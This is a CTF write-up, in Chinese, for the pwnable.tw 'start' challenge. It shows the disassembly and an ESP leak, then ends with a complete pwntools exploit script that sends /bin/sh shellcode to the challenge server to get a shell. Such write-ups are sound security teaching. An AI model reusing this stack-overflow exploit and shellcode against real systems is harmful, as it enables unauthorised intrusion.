Start on Pwnable.tw

RECON

checksec 掃下去:
image

基本上沒有防護

再來是 disassemble:

1
objdump -d start
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
Disassembly of section .text:

08048060 <_start>:
8048060: 54 push %esp
8048061: 68 9d 80 04 08 push $0x804809d
8048066: 31 c0 xor %eax,%eax
8048068: 31 db xor %ebx,%ebx
804806a: 31 c9 xor %ecx,%ecx
804806c: 31 d2 xor %edx,%edx
804806e: 68 43 54 46 3a push $0x3a465443
8048073: 68 74 68 65 20 push $0x20656874
8048078: 68 61 72 74 20 push $0x20747261
804807d: 68 73 20 73 74 push $0x74732073
8048082: 68 4c 65 74 27 push $0x2774654c
8048087: 89 e1 mov %esp,%ecx
8048089: b2 14 mov $0x14,%dl
804808b: b3 01 mov $0x1,%bl
804808d: b0 04 mov $0x4,%al
804808f: cd 80 int $0x80
8048091: 31 db xor %ebx,%ebx
8048093: b2 3c mov $0x3c,%dl
8048095: b0 03 mov $0x3,%al
8048097: cd 80 int $0x80
8048099: 83 c4 14 add $0x14,%esp
804809c: c3 ret

0804809d <_exit>:
804809d: 5c pop %esp
804809e: 31 c0 xor %eax,%eax
80480a0: 40 inc %eax
80480a1: cd 80 int $0x80

他調用了兩個syscall, 分別是第一個int800x804808f前的write(把文字輸出)和0x8048097的read(把stdin讀進去)

另外,esp+0x14也可以看得出來棧上面大小為20 bytes (或者fuzz看看也可以)
註:fuzz echo 'aaaaaaaaaaaaaaaaaaa' | ./start 類似這樣

實際Run一遍:
image

Exploit

quick reminder:
ebp是棧底的addr, esp是棧頂, eip控制了ret addr

攻擊流程:

  1. 蓋掉EIP變成0x8048087,因為這時候會把ESP的值變成ECX的,可以輸出ESP值(很接近ESP地址)
  2. 這時候拿到ESP地址,可以戳RET2SC的攻擊方法,隨便丟個SHELLCODE出去就好,我是拿 這段(link)

*ESP上面的VALUE跟他的地址差4
image

exp.py

1
2
3
4
5
6
7
8
9
10
from pwn import *
shellcode=b"\x99\xf7\xe2\x8d\x08\xbe\x2f\x2f\x73\x68\xbf\x2f\x62\x69\x6e\x51\x56\x57\x8d\x1c\x24\xb0\x0b\xcd\x80"
# r=process('./start')
r=remote('chall.pwnable.tw', 10000)
# gdb.attach(r)
r.recvuntil(b':')
r.send(b'a'*20+p32(0x8048087))
esp=u32(r.recv(4))-4
r.send(b'a'*20+p32(esp+24)+shellcode)
r.interactive()

image
PWNED!!

P.S.坑點:

  • 要用send而不是sendline(會多一個字元,i386好像特別嚴格QwQ)